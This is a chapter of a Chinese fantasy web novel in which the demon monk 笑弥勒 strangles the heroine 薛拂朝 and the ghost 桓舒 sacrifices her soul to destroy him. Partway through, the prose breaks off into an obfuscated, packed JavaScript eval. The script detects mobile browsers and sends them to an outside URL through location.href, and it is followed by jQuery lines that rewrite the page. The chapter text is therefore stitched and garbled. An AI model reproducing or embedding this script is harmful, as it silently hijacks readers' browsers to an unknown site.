12. 假颂佛缘

作品:《斩亲证道被迫变鲨夫证道

    桓舒的目光掠过不远处摇摇欲坠的戚遗我,那双沉淀了百年怨气的眼眸里,闪过一丝极淡的审视。


    “后面的路,”她收回视线,重新落在薛拂朝脸上,声音轻得像叹息,“你想好怎么走。”


    这话说得没头没尾,可薛拂朝听懂了。


    是在告别。


    也是在托付。


    她张了张嘴,想说些什么,就被一股突如其来的剧痛生生掐断!


    笑弥勒抓住了那个瞬间。


    就在桓舒与薛拂朝对视的刹那,就在薛拂朝心神微分的间隙,这个被压制了许久的半步人仙,终于挣脱了那道诡异道术吸力的桎梏!


    “呃!”


    薛拂朝闷哼一声,只觉右臂传来撕裂般的剧痛。笑弥勒那只肥厚的手掌如铁钳般扣住她手腕,五指发力向内狠拧——


    “咔嚓。”


    清脆的骨裂声在死寂的庙宇中格外刺耳,她的道术也随之溃散——她如今破碎的身躯也仅能走到这一步。


    薛拂朝额角瞬间渗出冷汗,眼前阵阵发黑。可这还不算完。笑弥勒左手紧随而至,一把扼住她纤细的脖颈,将她整个人如提鸡仔般凌空拎起!


    “嗬……嗬……”


    呼吸骤然断绝。


    薛拂朝双脚离地,徒劳地挣扎着,左手想去掰开颈间那只手,可右臂骨折的剧痛让她使不上半分力气。视野逐渐昏暗,耳畔嗡嗡作响,肺里的空气一点点耗尽,死亡的阴影如浓墨般漫上心头。


    笑弥勒那张弥勒佛般的圆脸近在咫尺。


    可此刻,那脸上再无半分慈悲。嘴角咧开一个狰狞的弧度,眼中血光吞吐,额角青筋暴起,整张脸扭曲得如同从地狱爬出的恶鬼。


    “贫僧不得不承认,”他凑到薛拂朝耳边,声音嘶哑如砂纸摩|擦,“你们一而再、再而三地……激怒了我。”


    每个字都裹挟着森寒杀意。若说之前笑弥勒只是八分杀意,此刻便是十二分。


    薛拂朝艰难地抬眼,对上那双血红的眼睛。痛楚再度如潮水般淹没神智,可她居然笑了——嘴角扯出一个扭曲的、满是嘲讽的弧度。


    “妖……僧……”她拼尽最后力气,从牙缝里挤出两个字。


    笑弥勒瞳孔骤缩。


    “下地狱去吧!”他厉声咆哮,五指猛然收紧,“贫僧会为你超度的——用你的魂魄,炼一炉上好的怨婴丹!”


    颈骨发出不堪重负的“咯咯”声。


    薛拂朝眼前彻底陷入黑暗。就在意识即将消散的刹那,她听见两道破空之声——


    一道漆黑如墨,怨气滔天。


    一道金光璀璨,符篆生辉。


    桓舒与戚遗我,竟同时出手了!


    笑弥勒的反应快得惊人。


    他几乎在破空声响起的瞬间就做出了判断——不退,不避,反而将薛拂朝往身前一拽,用她单薄的身躯当作肉盾。


    漆黑怨力与金光符篆眨眼已至面门。


    前者是桓舒这百年厉鬼的全力一击,后者是戚遗我用尽余力的最后一击。


    可此刻,这两道攻击的目标,都是薛拂朝。


    笑弥勒嘴角勾起狞笑。他太了解这些所谓的正道修士了——满口仁义道德,实则自私自利。在生死关头,谁会为了一个萍水相逢的同伴,放弃重创强敌的机会?


    他等着看那道金光符篆转向。


    等着看桓舒收手不及、误杀盟友的懊悔表情。


    等着看这场可笑同盟从内部崩解。


    可下一瞬,他的笑容僵在了脸上。


    漆黑怨力没有丝毫停顿,甚至更快三分,直直撞向薛拂朝心口!而那道金光符篆,同样没有转向,反而光芒更盛,以更凌厉的势头射向薛拂朝面门!


    他们……竟真的要杀了这少女?!


    笑弥勒脑中一片空白。


    他当然不在乎薛拂朝的死活。可若这少女死在他手里,或者死在他用她当盾牌的情况下,那两道攻击便会毫无阻碍地轰在他身上——方才被薛拂朝吸走大半灵力,此刻他绝无可能硬扛下这前后夹击!


    电光石火间,笑弥勒做出了最本能的抉择。


    他松开了扼住薛拂朝脖颈的手,同时侧身急退,左手在身前结印,凝出一道掺杂着暗色的佛光屏障——


    “轰!!!”


    漆黑怨力与金光符篆,几乎同时撞在佛光屏障上。


    笑弥勒闷哼一声,嘴角溢出鲜血。


    可他此刻顾不得伤势,只死死盯着前方——薛拂朝瘫软在地,剧烈咳嗽着,颈间留下五道青紫指痕,显然还未从窒息中缓过气。


    而桓舒落在她面前,冰冷的目光钉在笑弥勒身上。


    “仙门正道……”笑弥勒抹去嘴角血渍,嘶声冷笑,“也不见得多正人君子。同门性命,竟也视而不见!”


    他这话说得诛心,试图在三人之间种下猜疑的种子。


    可戚遗我只是咽下即将出口的血沫,露出一个嘲讽的笑。


    “稷山有妖,名佛衣鬼。”戚遗我缓缓开口,声音因虚弱而有些飘忽,却字字清晰,“形若僧人,通梵咒佛法。然性狡而贪,窃食人心,假颂佛缘——”


    “笑弥勒,这才是你。”


    庙宇内死寂了一瞬。


    笑弥勒闻言仰头大笑。


    笑声癫狂,在狭窄的庙宇内回荡,震得梁上积灰簌簌落下。他笑得前仰后合,笑得眼角渗出泪花,仿佛听到了世间最好笑的笑话。


    “好……好得很!”笑弥勒止住笑,抹去眼角的泪,声音陡然转冷,“千年了,竟还有人记得我这等妖名……”


    他缓缓站直身体。


    周身佛光如潮水般褪|去,取而代之的,是浓郁到化不开的漆黑怨气。那怨气从他七窍中涌出,在身后凝成一尊狰狞扭曲而可怖的妖影。


    “作为感激,”笑弥勒一字一句,“贫僧便最后一个杀你。”


    桓舒淡道:“笑弥勒,我们的恩怨也该了了。你将我囚于璇玑珠内,为你守阵眼,可想过有朝一日我会向你讨个说法啊?”


    笑弥勒狂笑:“一个苟活百年的怨魂,也配做贫僧的对手?不值一提!”


    他催动妖影扑向桓舒,口中念起梵咒。


    可桓舒只是抬起双手,结起了印。


    笑弥勒一愣,他认出那是桓舒以魂为代价所结出的道印。


    就在这愣神的瞬间,桓舒手中道印已成,猛的冲向笑弥勒,怨气滔天,将这本就昏暗的界内映得更令人窒息。


    “这……这是……”笑弥勒骇然失声,“你疯了?你竟然想与我同归于尽?!你会魂飞魄散再无轮回!”


    他的话戛然而止。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073940|195094||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    因为桓舒已到了他面前。


    笑弥勒急退,双手连拍,在身前布下十七重佛光屏障。


    骤然亮起刺目光华,令薛拂朝下意识闭上了双眼。


    “不——!!!”


    随后薛拂朝便听见笑弥勒发出绝望的嘶吼,混杂着气浪轰鸣声,响彻这个丹炉内。


    薛拂朝却拼命睁开眼,眯着眼睛瞧见笑弥勒猛地咬破舌尖,喷|出一口精血。精血在空中化作一枚血色“卍”字印,妄图抵挡——


    “嗤。”


    血色卍字印坚持了三息,然后碎裂。


    桓舒掌心的墨色流光毫无阻碍地没入了笑弥勒眉心。


    时间仿佛在这一刻静止了。


    笑弥勒保持着双手结印的姿势,僵立在原地。眼中血光迅速褪|去,狰狞的表情凝固在脸上,然后——


    从眉心开始,一道道裂痕如蛛网般蔓延开来。


    裂痕所过之处,皮肉、骨骼、经脉……寸寸化作飞灰。没有鲜血,没有惨叫,只有无声的湮灭。不过几个呼吸,这个半步人仙的妖僧,便彻底消散在空气中,连一丝痕迹都未留下。


    妖影随之溃散。


    庙宇内恢复了死寂。


    桓舒缓缓放下双手。


    她转身,看向薛拂朝和戚遗我。那张素净的脸上没有任何表情,可薛拂朝分明看见,她的身影正在逐渐变得透明。


    “你……”薛拂朝瞳孔微缩,挣扎着想站起,却因右臂骨折和窒息的后遗症而踉跄倒地。


    桓舒摇了摇头。


    “笑弥勒半步人仙,若是你们想活着出去,唯有我拼尽全力燃尽神魂为代价,结咒神印。”她轻声解释,声音缥缈如风中残烛,“我的修为勉强,强行动用此术,魂飞魄散再无轮回是必然结局。不过还好,加上璩磐,够了。”


    薛拂朝张了张嘴,却发不出声音。


    “不必觉得亏欠。”桓舒笑了笑,那笑容很淡,却有种解脱般的释然,“百年前我选择化为厉鬼复仇时,就该魂飞魄散了。苟活至今,不过是因为执念未消……而今,执念已了。”


    ——她一开始便明白,眼前的少女并不能将她带离笑弥勒的丹炉。


    她看向薛拂朝,目光落在少女颈间那五道青紫指痕上。


    “好好活着。”她说,“替我看看……百年后的世间,是否真的比从前干净些。”


    话音落下,她的身影便化作万千荧光星点,簌簌飘散在漏进来的晨光里。她就这样干干净净地,从这囚禁她百年的牢笼中,彻底解脱。


    她从来不后悔,她只希望少女记住怨境内的承诺,将幕后真凶绳之以法。


    薛拂朝挣扎着扑过去,想抓住什么,可指尖穿过那逐渐消散的身影,只触到一片冰凉的空气。


    不,不该这样的。


    桓舒不该是这个结局,她应该苦尽甘来,重塑身躯——她想的话,也可以去郢都投胎,有个更好的人生。


    薛拂朝跪在地上,看着荧光彻底消散。


    晨光照亮满地狼藉。


    薛拂朝缓缓站起身。


    右臂骨折的剧痛、脖颈的淤青、满身的伤口……这些痛楚真实地提醒着她还活着。


    她面无表情的一点点站起来,往外走去。


    “薛摇光。”不远处的戚遗我唤她。